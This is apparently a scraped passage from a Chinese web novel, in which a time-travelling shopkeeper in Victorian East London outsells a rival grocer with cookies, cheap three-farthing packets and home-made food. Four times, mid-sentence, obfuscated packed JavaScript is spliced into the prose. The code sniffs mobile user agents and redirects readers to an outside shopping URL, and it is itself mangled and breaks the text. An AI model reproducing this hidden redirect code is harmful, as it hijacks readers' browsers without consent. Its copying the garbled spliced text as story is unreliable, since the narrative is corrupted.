黛莉有些疲惫的爬回二楼，在小杂物间里用过便桶，又爬回阁楼的房间。 在这狭窄如同蚁巢的空间里，只能简单用热水洗漱，换了身睡裙，但却还不着急休息。 黛莉坐在狭小的木床上，头顶就是阁楼的屋顶，膝盖上盖着不太厚的被子，窗外雪籽拍打玻璃。 她在床头挂着一盏煤气灯，手中则打开了一本有些破的《惠特克年鉴》 这本书上记录了英格兰各地的农事活动，节日习俗，社会事件。 黛莉认为，穿越也有些类似在新的地方开启了一个新的项目。 那么她就本能的按照开启新项目的流程，先深入的了解伦敦目前的社会环境，人文风俗，官僚制度，法律尺度。 最方便的方式，就是每天阅读伦敦的主流报纸，以及这样信息密度高的年鉴书籍。 每天晚上睡前阅读半小时，她就能对这个世界的细枝末节更了解，掌握多方面的资讯。 第二天，清晨。 一月初的伦敦还一副冬季的模样，雨夹雪淅淅沥沥地顺着屋檐往下滴落。 纳什先生和弗莱德出门之前，天还没亮，他们披上了一件半身帆布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16420525|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗篷，戴上了挡雨的宽帽。 每人携带着一包饼干，推着空车出门。 先在多罗斯街路口等待牛奶农场的货车驶来，接满了今天要送的牛奶，又结了这一周的送货工钱。 牛奶农场的货车马夫比他们起的更早，通常凌晨三点时就从南伦敦附近的姆查米出发了。 多罗斯街订奶的商户很多，父子二人把奶车推过去之后，分头开始行动。 他们拎着沉重的金属铁桶，敲开了小餐厅后厨的门，门开后，纷纷熟稔地与后厨的人打起招呼。 … 洛比特杂货店。 雨夹雪中的清晨，伦敦东区的街道一片水雾弥漫，四处灰扑扑的，能见度不足五十英尺。 就连打门口路过，戴着八角帽的报童都一副蔫蔫的模样，或许他也预感今天的生意不会太好。 但在乔治看来，今天洛比特先生的心情实在是很美。 昨天上午，他发现了纳什杂货店使用打折传单后，便也不计利润的加入了这场斗争。 果然，忙不迭抄的照着纳什杂货店的传单，写了一百份传单在中午发出去。 到了傍晚，附近的邻居就开始上门买生活用品了。 昨天的情况让他看到了希望，只需要把价格调低，这些老邻居就会扑上来扫货。 只要数量走上去，洛比特认为自己不一定会亏本。 而更为重要的是，这些客源也是纳什杂货店的基本盘。 要是纳什杂货店失去了这些稳定的老顾客，恐怕一两周之内就能被他整破产！ 到时候，他就少了一个离得最近的竞争对手，对长期发展大有裨益。 洛比特先生十分满意他自己是魄力。 他顺手拿起柜台上，乔治正在包装的一块蜂蜜饼干。 嚼了两口，发现味道有些发苦，似乎烤过头了。 洛比特先生不耐烦地朝楼上吼叫了两声。 楼上厨房里，洛比特太太充耳不闻，撇了撇嘴，继续揉面准备烤面包。 她也懒得筛面粉了，随便混点黄油和老窖种，团成团塞进了烤炉里。 又从角落里摸出一根卷烟，靠着门抽了起来。 嘴里忍不住嘟囔：“吝啬鬼……” 屋外雨还夹雪在下，洛比特先生催促着乔治干活，又拿起挂表瞧了瞧时间。 他预计今天的生意不会太好，又打算去睡回笼觉。 刚一晃神，洛比特瞧见多罗斯街上的咖啡店的老板乔尔从店里走了出来。 乔尔穿着一件棕色长风衣，撑着一把黑漆漆的雨伞朝自己这边的方向走来。 洛比特立马整理了着装，打算亲自接待这位客人。 乔尔的家族已经在多罗斯街开了上百年廉价咖啡店，生意一直很好，洛比特打听过，他家的流水每个月都是上百镑。 他是个有钱的主顾，这样撑着伞步履匆匆的走过来，一定是要购买什么着急的东西。 洛比特先生对自己的认定深信不疑，他扬起微笑走到门口，摆出一副悠闲地脸色，从口袋里夹出了两只卷烟。 正要将手抬起来，那打着伞的乔尔先生却在朝春风满面的洛比特点头示意后，掠过他往克拉克巷子里走去了。 洛比特的表情和胳膊凝固住了。 他顿时感觉全伦敦的潮湿都黏在了他的衣服上，鞋底也沾满了焦煤，黏的脚底抽不动，十分的尴尬。 … 16.六先令 纳什杂货店内，黛莉正从报童手里取过了昨天没有卖完的过期报纸。 这些过期报纸通常一文不值，花很少的钱就能得到一大叠。 拿来用浆糊粘成纸袋，做最外层的包装是最合适了。 她点完了数，又递给报童两个法新：“再给我一张今天的泰晤士日报。” 从报童手中接过报纸后，黛莉低头阅读了起来。 只一眼扫过去，她就看见了头版新闻。 是塔桥杀人案，随着时间的推移，外界媒体对这案件越发关注了。 她没有细看便放下了报纸，只见门外便走进来了一个面熟的客人。 是多罗斯街乔尔咖啡店的老板。 乔尔先生站在门外收了伞，看向这狭小铺面的目光略有些嫌弃。 他虽然也在东区多罗斯街这样的贫民聚集地开廉价咖啡店，但咖啡店每个月可以净赚五十英镑，自认为是妥妥的城市中产。 他家住在布鲁姆茨伯里的联排公寓，日常用品也都是在西区的大型杂商店买的。 要么，也是在裘德路的皮耶罗杂货店里买。 像是眼前的小杂货店，平时只有工人和在这附近居住的人会来。 乔尔不想被人看到他出现在这里。 而黛莉却十分自然地寒暄起来：“乔尔先生需要点什么？” 乔尔进入店里，四下瞧了一圈，他看见面前狭窄的柜台上就摆着一盘饼干，顿时盯了起来。 “我来买点钻石曲奇，是这个名字吧？” 黛莉点头，端起柜台上的碟子。 “就是这种，可以先试吃试吃。” 乔尔先生看着，这正是弗莱德早上在后厨给他们分的那一种饼干。 三角形状，有些厚度，口感沙软鲜香，表面裹着一层粗砂糖，像是碎钻石，所以才叫钻石曲奇。 因为样子没见过，所以他尝了一块，吃过之后却想了一早上，这味道，还真是让人回味无穷。 这饼干，绝对不是市场上的工厂货，附近的甜品店也没有这个款，应该是纳什家自己做的。 他想买一些回去研究研究，到底是怎么做的，要是能研究出来配方，拿到咖啡店卖就好了。 作为一个老生意人，他尝一口就知道，这样口感的饼干配上咖啡绝对能受欢迎。 不过，想到这个目的，令他莫名有些疑惑。 他一个不小的老板，竟然还得来这种地方偷师。 乔尔一脸镇定的点头，打开钱夹：“不用试吃了，这多少钱一磅？” “不按磅算，七便士一袋。” 黛莉将刚刚包裹好的一袋曲奇拿了过来，放在秤上量给他瞧。 乔尔先生不在乎这几个便士，他看着这一袋也不多： “我要四袋。” “这是你家自己做的？” “是的”黛莉答。 她不是没看出来乔尔那副模样，一眼就知道他在算计什么。 不过，这又不是在演电视剧，说复刻就能复刻出来。 做烘焙的各种步骤，从材料选择，再到配比，加工手法，再到烘烤时间，每一个步骤都是失之千里差之毫厘。 等他折腾出类似的饼干，黛莉敢说，自己早就更新迭代了。 模仿者一旦陷入模仿的陷阱，就会永远只能跟在她身后走。 黛莉迅速地将四捆饼干打包好用麻绳串扎起来里，递了出去。 “我推荐您泡上一杯热可可来搭配这种饼干，味道最是绝佳。” 乔尔十分嫌弃这狭小的地方，感觉这不是自己应该多呆的地方，但他依旧维持着得体。 “那给我拿一罐。” 黛莉标准地微笑并点头，去柜台上翻了一罐批次不新的可可粉。 结账五十便士后，他抱着一只旧报纸袋走了。 厨房里，玛丽还在烤制这种曲奇，家里的小炉子，一个小时可以烤出两磅饼干。 从昨晚开始，玛丽就在严格按照配方来制作，到上午已经制作了六磅钻石曲奇。 玛丽见外面下雨，认为生意一定比往常少，心里猜测，今天烤这么多肯定已经够卖了。 等她清洁好工具，给今天的两个婴儿热完羊奶喂了，帘子外又传来黛莉忙碌的声音。 上午下了雨，这会儿客人零散，黛莉又开始折腾除了食品之外的货品了。 她用打折的办法清出了陈货，现在洛比特也跟着她学，宁愿亏本也要跟。 既然这样，黛莉就不再打算做纯粹的特价了，她倒是要看看，洛比特能不能继续模仿。 她打算把位置最好的货柜收拾出来，打造一个三法新的廉价商品专区。 将能够分装的商品，拿专用的白纸分装成只够使用一两次的小份，定价极其低廉。 这些三法新商品的价格低廉，利润微薄，但绝对有的赚，甚至还比整磅买更贵。 不过，大多数顾客不会算重量，即便是克拉克街上最穷的人，也能轻轻松松掏出好几个三法新。 这就有点像是，九块九的商品可以买一堆，一百块的商品犹豫不决。 不一会儿，黛莉就将背后位置最好的的三个格子收拾了出来。 按照顺序，将可以分类的食品，例如糖果，花茶，柠檬干，可可粉，咖啡粉，果脯干货，通通包装成几盎司一袋。 像是茶叶和咖啡这样怕潮的东西，她就装了够卖一天的量。 随后整齐地排列在了纸盒里，再把纸盒塞进柜子。 又写了一个三法新专区的名录单，打算贴在柜台上，让客人一进来就能看着选购。 花了一个多小时，全部分装完后，就有几个客人结伴走了进来，问她买钻石曲奇。 这几个人，是小餐厅的雇佣的兼职工。 她们的工作时间段为凌晨五点到上午十点，为最忙碌的早餐客流服务，现在已经下班了。 毫无疑问，这群人也是早上试吃过后，冲着这像法式点心的钻石曲奇来的。 不过，在黛莉告诉她们价格后，有人讪讪作罢，有人犹豫了起来，还有人在摸包，也有问她讲价的。 一时间整个屋里都吵吵嚷嚷的。 黛莉并不慌忙，很大方地给她们每人分了一块试吃，清清嗓子又道： “除了钻石曲奇，饼干还有两种，一种是普通的甜味硬饼干，七便士一磅。 还有可可味的蜂蜜饼干，十便士一磅，这些也是新进的货，很适合午茶吃。 店里还有袋装的花香印度红茶，都只要三法新一袋，可以喝两次。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16425960|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她将三法新专区货品的名录纸递给面前这些人，指着上面的茶饮零食区域。 “柠檬片和肉桂粉，还有可可粉，也是三法新一袋，足够一顿泡的。” 说着，有人问起花茶，黛莉就随机拆开了一包桂花阿萨姆和一包大吉岭玫瑰样品，递给她们闻。 这窨了一晚上的茶叶，也沾染上了一股淡淡的花香味，能够嗅出来。 这几个在餐厅上班的人，平时只喝茶渣，她们看这袋子里茶叶也是正经叶片，看得到条索，不光是茶渣，没有添加染色剂，也够泡一大壶或两小杯的，还有花香味和零星的果干碎，顿时觉得很划算。 再买个稍微贵点的饼干也不算什么了。 在黛莉不紧不慢的导购之下，这几人排成了队，挨个选择自己想要的东西。 “我要一袋钻石曲奇，一袋大吉岭茶，一袋可可粉，还有柠檬片。” 排第一的蓝裙子的洗碗工说道。 她心里已经在幻想，回家后喝着玫瑰花味的红茶，再配一碟口味独特的钻石曲奇，十便士不到而已。 这在真正的甜品店里可享受不到。 黛莉应声，拿着一只旧报纸袋，如同抓药一般，往里面装上各种预包装小袋。 “一共是九便士一法新，买够十便士再送您一袋葡萄干怎么样？ 可以再选一袋三法新的商品，我推荐肉桂粉。 可以跟可可粉一起冲泡，听说这是巴黎的流行呢。” 这客人想也没想就点头，于是黛莉又往袋子里装了一袋肉桂粉和葡萄干。 后面排队的几位也大多如此选择，人均消费十五便士以上。 花茶不分产地，十一克一袋，一磅可以分装四十袋，每袋售价三法新，总共是三十便士。 比整装一磅的售价要多赚十几便士。 而其他粉类的重量则各不一样，黛莉都事先冲过一杯品尝了，按照口味最适中的浓度来装袋。 例如成本价二十便士一磅的可可粉，原本的售价是二十二便士一整罐。 现在每磅分装了四十五袋，可以卖出三十三便士。 即便是把包装用的崭新白纸也算上，利润也高达十个便士。 看似三法新很少，实际上却是最赚钱的销售方式。 这批客人招待完，销售额总计是一百零五便士。 虽然看着没有多少，但因为客人得到的货物本身变少了，所以净利润比往常的百分之二十五要高一倍。 也就是说，一百零五便士，她可以轻松赚上一半。 黛莉心想，这操作的难度比直接打折促销要高上许多。 从定价和分量，再到产品质量都要拿捏的恰到好处。 让人挑不出什么问题，心甘情愿的掏钱。 不过，这种方式只限用于对目标客户来说稍微有点小贵的货品。 适合偶尔想奖励自己的低薪人群。 但凡是正常的家用商品，米面粮油，依旧还是按照促销的方式来薄利多销。 要是在这些民生商品上玩歪脑筋，被监督员抓到了可不是好玩的。 两辈子为商，靠的就是做遵纪守法的好公民，在规则之内尽人事。 将小抽屉锁上，黛莉扭头走回厨房里。 ... 17.七先令 厨房里，炉子里塞着满满的煤炭，白色水雾从锅里冒出来，里面咕嘟咕嘟的煮着一些金黄的通心粉。 玛丽穿着一件靛蓝色罩衣，忙碌的握着木勺子在锅中搅动。 今天的午餐比平时稍微复杂一些，是青酱通心粉。 案板上还堆着一小叠培根碎，那是玛丽大早上提着篮子去附近肉食店里买的。 她今天要照看的孩子只有两个，所以时间上十分宽裕，中午就准备了正餐，而不是茶点。 黛莉靠在门边说道：“六磅曲奇已经卖光一半，我们可以开始再做一些了。” 玛丽“啊？”的一声，她回过头。 “这还没到中午呢，就已经卖出去这么多了？” 这么贵的饼干，卖出去一半，除开成本，就能净赚四十个便士。 这价钱已经足够她给邻居们照顾两天小孩了。 玛丽立刻就产生了要专职烤饼干的想法。 “这样还真行啊，那明天我就把照顾这几个小娃娃的活儿推掉。 烤饼干总比带孩子要轻松吧？” 玛丽想着，反正近来照顾婴儿的生意也越来越不好了。 黛莉若有所思：“也不是不行。 不如，我们干脆像洛比特杂货店一样，开始做面点之类的熟食。 不过，这件事有一定的风险，可能以后熟食的生意没那么好，这些我们也得考虑进去。” 黛莉想过了，这店铺要是完全运转起来，只有她一个人是远远不够的。 肯定需要许多帮手来撑固定岗位，例如熟食加工员，会计，柜员。 最好她只用专心管理采购，决策商品，以及制定销售策略。 而在目前的情况下，最好的选择就是找家里人当员工。 玛丽将碗碟清洗了一下，擦干水，将通心粉捞了出来，又从架子上取下来三只陶盘，边说： “那是当然，做生意嘛，不可能永远生意好。 不试试也不知道行不行，万一要是熟食不好卖了，我趁着这个练练手，以后也能去附近的餐厅找工作。” 玛丽此人虽然脾气耿直，但身上也有小市民的朴实，并不眼高手低，明白做生意的道理，不算盲目。 于是黛莉就放心的答应了。 她不会用任何心态不成熟的人全职干活。 如果有玛丽全天制作食物零售，那么很多加工食品都不需要再进货了。 饼干，糖果，果酱，都是如此，还可以增添更多品类。 例如香肠，三明治，烤肉，甚至是生产油炸泡面和膨化食品。 只要她可以研究出配方。 而售卖热食的准备工作，也只是需要去市场上采购一批外带包材。 厚的牛皮纸壳，薄白纸，软纸袋，以及很多的梅森瓶，目前伦敦所有的杂货店和外带熟食都是这样做包装。 黛莉坐在柜台后，低着头在小本子上记录待办事项。 还要去刻章店里刻一个有店名的章，再买一个可扭动的滚轮数字章，用来记录生产日期。 厨房里，玛丽又开始准备筛面粉，烤制钻石曲奇和面包。 今天的天气始终很阴沉，冷飕飕的雨夹雪一直飘着，但克拉克巷子里，却一直弥漫着香浓的味道。 到了接近两点后，餐厅厨师和小老板的休息时间。 黛莉又喝了一杯阿萨姆红茶，打起精神来准备接待这一批客人。 不一会儿，就有四五个客人接踵而至，他们撑着伞穿越了狭长的克拉克巷子，在纳什杂货店内停留。 不一会儿，他们又抱着一口纸袋，撑着伞往自己的店里走。 洛比特杂货店就位于巷子口，洛比特先生第一时间就注意到了这个奇怪的情况。 他今天的生意倒是平常，不好也不坏，下雨嘛，谁家都是这样的。 只不过，他观察到这些撑伞去克拉克街里的人，出来时怀里都抱着纸袋子，显然是买了东西。 他们到底是去了纳什杂货店，还是去了皮耶罗杂货店？ 为什么把他家给忽略了？ 洛比特先生越想越疑惑，他现在也是按照打折促销来卖生活用品的，难道还不一样吗？ 想了想，他又唤乔治去打听打听是怎么回事，尤其是打听纳什家。 闻言，乔治只好放下手里的毛巾，戴上帽子冒雨跑了出去。 洛比特先生知道，现在那个讨人嫌的老太婆病了，他家的杂货店是他家孙女在管。 就这么个红毛丫头，上过两天女校而已，又没经过商，能管的好什么店，不过是硬撑罢了。 他认为，自己就得此时乘胜追击将他家的店弄倒。 在纳什杂货店还没搬来克拉克街的时候，他已经挤走了克拉克街里的好几批杂货店。 每次克拉克街内没有杂货店的时候，这街里的几百口人多数得来他家购物。 他想，这一次把纳什家撵走了，他就干脆把那间铺子租下来，扩产铺面的数量。 在屋子里转悠了半天，他决定亲自出去一趟。 纳什杂货店。 午后的工作间歇，多罗斯街的厨师和店主们三三两两地将钻石曲奇购置一空。 又到傍晚，许多人的放工时间，街坊邻居们又都下班了。 即便是下雨，但往黛莉这里登门的客人数量不少。 门口经过十个人，有三四个都会走进来看看。 大多数都是因为打折活动而占到便宜的客人。 他们知道，洛比特家和纳什家在暗自较劲，两家互相比着卖促销货。 现在每天都会往两家杂货店里逛逛，看有没有什么好东西正是有优惠的。 底层消费者不在乎谁家的声誉更好，谁家的店面更小。 他们只在乎哪里的东西便宜还好用，是最为看重现实的群体。 而黛莉今天准备的三法新产品，极大程度的受到了这类人的欢迎，一传十十传百的被邻居知晓。 这个消息传出去后，甚至一些小孩子和扫烟囱的童工都从附近的街巷跑了过来。 目的是为了购买三法新一袋的硬糖球，这几乎是他们唯一买得起的零食。 也有一些年轻的女孩，在家里帮着做家务活，平常只能给人洗衣浆烫补贴家用的，今天也会拿着零钱来买一些散装可可粉和柠檬片。 到了夜晚，家里的人都陆续回来了，准备开饭。 黛莉也开始了每天尾声的轧账。 几百个便士好似插着翅膀一样飞舞进了柜台的抽屉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16430624|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她粗略算了算，今天午后到傍晚，奔着促销货和三法新商品来的客流量近五十多人。 全天的客流在七十多人，主要人群集中在午后。 促销生活用品与三法新商品，还有自制的食品销售额占比一比一。 第一类商品的利润微薄，但后两类商品的利润都达到了一半。 把这三者中和一下，净利润大概是销售额的三分之一，整体比以前的四分之一要高。 今天的平均客单价为十二便士。 销售额总计九百便士，也就是接近四镑。 按照目前全店商品百分之三十五的净利率来计算，她今天净利润达到了一英镑以上。 相比前两天十个先令的实际利润，足足的高出了一倍。 如果今后每天都能维持这样的销售水平，那么她下次进货就可以准备十几镑的预算出去。 若每天都能维持眼下的利润，一个月就是三四十英镑。 若能赚到这么多钱，那么黛莉就打算将弗莱德与纳什先生也叫回来，帮着家里跑腿打杂。 他们两个人，对白教堂这个地方的路线十分熟悉，出门在外跑动也比她们要安全些。 对于规模如此小的贫民区杂货店来说，家庭成员做员工，已经算是最适合的运营模式了。 黛莉心满意足地记录着数字，心中筹划着。 夜幕彻底吞噬了深蓝色天空，记录完毕后，她把梯子挪出去，将挂在门廊下的煤气灯摘下来，这代表着今天营业结束。 巷子里依旧下着冷雨，今晚对面酒馆的生意不算好，透过半窗依稀只见一两个人在喝酒。 平时混迹在酒馆的熟客们更是一个也见不着。 这小店做生意就是如此，刮风走一半，下雨全跑，伦敦的天气又阴晴不定。 要是没什么特色，不值得人打着伞走出来一趟，自然就显得冷清。 弗莱德收拾完了送奶的铁壶，从储物间里拿下来一些木板，往窗户上镶。 随后，他推动木门上了锁，一家人准备吃晚餐。 厨房里，烟火缭绕着，今天的晚餐比较简单，玛丽将大部分时间都用来烤制饼干了。 不大的方桌上摆着几只盘子与瓶瓶罐罐，只有简单的煎蛋和煎肠，还有一些面包片和干奶酪。 中间摆着一碟子饼干边角料，就算是所有的菜了。 不过，家里没人挑剔饭食，干了一天的活儿，中午也是对付一口，大家早就饥肠辘辘了，此刻都以埋头吃饭为主，只是时不时谈论各自今天的事情。 玛丽决定要全职做熟食和烘焙商品，没有一个人认为这有什么不适合的。 黛莉认为，她在制作饭食上，确实有自己的本事，只要给了她精确的配方和剂量，试着做个一次，也就能够成功，即便是不常规的食物，也能复刻出来九成相似。 而纳什先生和弗莱德，则是震惊于曲奇饼干能带来的利润。 要不是他们二人知道自己手笨的像萝卜，都像收拾收拾回家来做饼干了。 既然分好了工，剩下的事情就是计划一下要生产哪些产品。 在这件事上，众人都很有自知之明的不做声，只静静地听着黛莉条理清晰地说话。 … 18.八先令 黛莉一只手叉着香肠，另一只手边还翻动着皮质小本子，上面的笔记十分稠密。 “首先必备的是最简单的面包片和甜味硬饼干。 一般的面包店和杂货店里，最普通面包的价格是三便士一磅，饼干是六便士。 我们也得是这个价格，否则没有竞争力。 但在最普通的基础上，给这两样稍微加一点改动也可以。 面包可以做成甜咸两种口味。 比如葡萄干面包和蒜香面包，料不用放太多，增加一点风味就行。” 一般会在杂货店里买面包的人不少，主要就是图不用自己开火烧炭，以及节省时间，方便拿着吃。 例如庞大的马车夫群体和早班工人。 黛莉在小本子上记了记，又道： “硬饼干也可以做成红茶味或者咖啡味，这两种口味也费不了太多的成本。” 目前这两种饮品都是本地人爱喝的，接受程度就很高。 “其次是带培根的三明治，还有钻石曲奇。 至于糖果，批发来的硬糖价格已经够低了。 我们不如制作一些牛奶巧克力块来售卖，分装成小块，三法新就能吃上。” 黛莉上辈子的经验告诉她，要调研群众口味，相信市场的选择。 如果想赚这份钱，就不要太傲慢的鄙视本地人的喜好和文化，还要尽可能的贴近本地人的生活才行。 “各种罐头酱料，除了果酱之外，还可以做一些带肉的酱罐头，例如肉酱番茄，肉沫青酱的。 我看市场上还有很多做肉汤布丁罐头的，实际上，我们也完全可以做。” 肉汤布丁也就是俗话说的肉冻子，作为带肉味又便宜的食物，多数是小摊贩卖的，很受人欢迎。 她说的头头是道，一口气列了十几种待选的商品，桌子周围的几人也都仔细听着。 黛莉说着，举起叉子咬了一口香肠，咀嚼到一半，忽然对玛丽问道： “这香肠是在哪家店买的？多少钱一条？ 味道还不错，可以问问他们能不能批发吗？” 玛丽认真地应了下来。 晚饭后，母女二人继续筛选产品。 她们从十几种方便制作的产品中留下了七种适合在克拉克街里售卖的。 又大概的研究了一下预算，将做法，成本，汇集成单子。 她们拿着这些单子爬上楼，打算拿去给丽莎参谋一下。 如果要开发这些商品，多少还得往里投一笔钱。 首先，家里的炉子太小了，得更换一口更大的烤箱铁炉，用来烘焙和熬煮所用。 可换了炉子，又得多烧煤炭，还要采购包材和食物的原材料。 可是眼下柜台抽屉里也就四五个英镑的钱，买了那些，要进购其他的货物就钱不太凑手了，得去找丽莎求助。 黛莉对这拉投资的事儿很得心应手。 狭窄的卧室里，丽莎也刚吃完饭，纳什先生才把盘子端走，门敞开着。 或许是这两天生意好，心情好了不少，丽莎的身体也得了益处。 与往常提起来唉声叹气的不同，她这会儿精神很足，靠在小沙发上，身上盖着棉线毯子，手里拿着一件破掉的棉布裙子在缝，眼睛下面还架着一块老花镜。 黛莉与玛丽先推门进来了，将今天的生意报了个帐。 老太太还在为今天一个英镑还多的利润感到不可思议。 “三法新一袋的卖，我怎么就没想到呢？真是老了...” 见她沉默了一会儿，黛莉又把选出来的六样熟食名录拿出来，交给老太太查看。 丽莎就干脆丢下手里的针线，聚精会神翻阅起母女二人准备做的几样东西。 有肉汤布丁罐头，肉桂杏脯酱罐头，咖啡味饼干，钻石曲奇，还有蒜香面包和葡萄干面包。 黛莉的计划是，每次只提供六种熟食，一周一统计，哪种熟食的销量最少，就末位淘汰，换成新的熟食。 一次只上六种熟食，厨房每天也忙的过来，也不必备太多的材料。 丽莎是个极其精明的人，打理了店铺多年，一眼就能看出来，能计划出这些商品，确实是十分需要头脑的。 成本可控，有市场不愁销，也是自家小厨房就能够生产的，做起来工序不复杂。 只要稍微用点心调口味，那么也不用担心没人买。 这几天，黛莉在店里的经营细节，丽莎全都知道，她这会儿忽然感觉，自己以前竟然是个睁眼瞎啊。 在做生意上如此有天赋的人在自己眼皮子底下生活了这么多年她都没看出来。 丽莎长舒一口气：“你们两个一起办事，我很放心。” 说这，又把眼镜片摘下来，从胸口拿出钥匙递给玛丽，说道： “那钱盒子你们拿去保管吧，我也是一把老骨头啦，以后家里的事情还得你们年轻的来操心。” 玛丽还在愣神，黛莉就一把将钥匙接了过来塞进她手里，替她点头说道： “放心吧，我们一定好好保管。” 丽莎操了那么多年的心，看着小辈肯担当，总算是可以松口气。 半晌后，黛莉和玛丽抱着钱匣子走了出来，在狭窄的楼梯上你看看我，我看看你。 玛丽苦思冥想了半天，还是对黛莉说道： “我脑子不好使，做做饭倒还可以，管钱是真不太行，这些东西还是你好好收起来吧。” 黛莉点头，一点也没推辞，就将钥匙和钱匣子抱了过来。 “交给我就放心吧。” 玛丽“嗯”了一声，随后去楼下烧了几壶热水，供全家洗漱用，她今晚还得替佩妮洗洗头发。 黛莉则摸黑抱着钱匣子，爬上狭小的阁楼里，打开衣箱子，把这些钱放进了深处。 她知道里面还有二十七八个英镑，又去把柜台抽屉里的一千多个便士拿了进来一起存放，又上好锁，打算明早再取一些找零用的。 在目前的伦敦，衣食住行都很贵，这着实是不算一笔小钱，需要一个家庭里的每个人都兢兢业业工作，攒上好多年才能存下。 而在黛莉能够阅读的报纸上，有刊登许多的商品广告。 三十英镑，可以在伦敦买一匹上等马匹，也可以在乡下购买一小群羊羔。 可以在伦敦北边的乡下买上一英亩肥田耕种。 也相当于嘉德洛百货商店里的十几二十磅茶叶。 若是再往上层论，那么也仅仅是画一张肖像画的花费，或者置办一条杭绸礼服裙，一个月的剧场包座费。 在这个时代的英格兰，工业发展迅速，劳动力比任何时候都廉价，贫富差距比任何时候都大。 黛莉平静的坐在窗户边，给煤气灯上了一点压，又将亮度拧高，随后，开始完成今天的阅读计划。 她已经将储物间里用来打包货物的旧书报什么的都读的差不多了。 再往后，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16435716|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能去营业性质的图书馆办月票。 鉴于原身的年龄才十五岁，马上满十六，不到二十一岁，又没有具有社会信用的担保人。 所以，她还无法进入宏伟的大英图书馆免费读书。 当晚，黛莉看完书，洗漱完毕，已经是十点过后了。 第二天凌晨，天色还没发亮，整个克拉克街都陷入雾霾的笼罩，寒冷的空气入侵整个阁楼。 远不到上学的时候，佩妮还在被子里懒着，梦中呓语着什么饼干糖果的事儿。 黛莉就已经早早的爬了起来，收拾利索了，围上厚厚的披肩，打算与玛丽一道出发去白教堂路进货。 今天需要送奶的客人不太多，弗莱德一人就能应付，纳什先生在家帮忙看店。 大门外，雾里飘着小雨，路面也很滑，得二人同撑着一把伞，黛莉也十分自然地挽着玛丽的胳膊。 她掏出一页皱巴巴的笔记，与玛丽一起查看今天的购物清单。 今天的预算一共是十个英镑，一半用来批发常规货物，一半用来采购做熟食的原材料和工具。 出了巷子，走到裘德路，首先要去一直光顾的煤炭店里预定下一周的煤炭，再将上周的煤钱结清。 这家煤炭店不小，在棺材铺隔壁，现在已经开门了，屋檐下挂着一盏煤气灯。 这个时间，煤炭店外面的路肩上，正停靠着几辆从郊外练煤厂里驶来的货运马车。 马车上装着成筐的煤块，这是要送去多罗斯街各个小餐厅的。 黛莉读过的报纸上说，英格兰的原煤储量丰富，且很多煤田都在浅层，开采难度很小，煤矿的价格也不贵。 只需几千英镑，就能在约克买下一片煤田的采矿经营权。 而远处的原煤会通过铁路来到伦敦郊外的炼煤厂。 大块的扫进炉子里焦化，拿去锻造钢铁，小块碎渣原煤卖进城里，走入寻常百姓家。 她们二人走进店里，逼仄的柜台后站着一个戴着黑色毡帽的年轻柜员，他是这家煤炭店老板的侄子，名叫奥利弗特。 “我们来结上周的账。”玛丽对他说道。 奥利弗特点头，很是关切地问： “丽莎好点了没有？” “她好多了。” 奥利弗特翻开账单，找到了名字。 一般在附近开店有营业许可的小店主，都能在他家赊欠一周的煤炭，等到下一周手头宽裕了再给。 “那就好，嗯这是上周一共是，五蒲式耳小煤对吧？一共是三十二便士。” 奥利弗特说。 玛丽解开了装着家用支出的钱包，被黛莉拦下来，从采购资金的口袋里出了。 “下周我们需要用的煤炭比较多，先在你这预存三十个便士，买五蒲式耳煤。 从下周起每天送一蒲式耳上门，下下周我再来结另外两蒲式耳的钱，怎么样？” 奥利弗特还是头一次见这样的砍价方式，不过看在需求量不小的份上，他也点头答应了。 掏钱结账后，二人又走出煤炭店，继续往白教堂路的方向走去。 丽莎看黛莉卖东西多，看她买东西还是第一次。 从来没想过，两便士的价她都愿意砍。 黛莉却悠哉悠哉地回答：“两便士也是钱啊，成本这个东西，自然是能省则省。 况且时间也是成本，每小时价值两便士。” 玛丽眯了眯眼，不明觉厉。 … 19.九先令 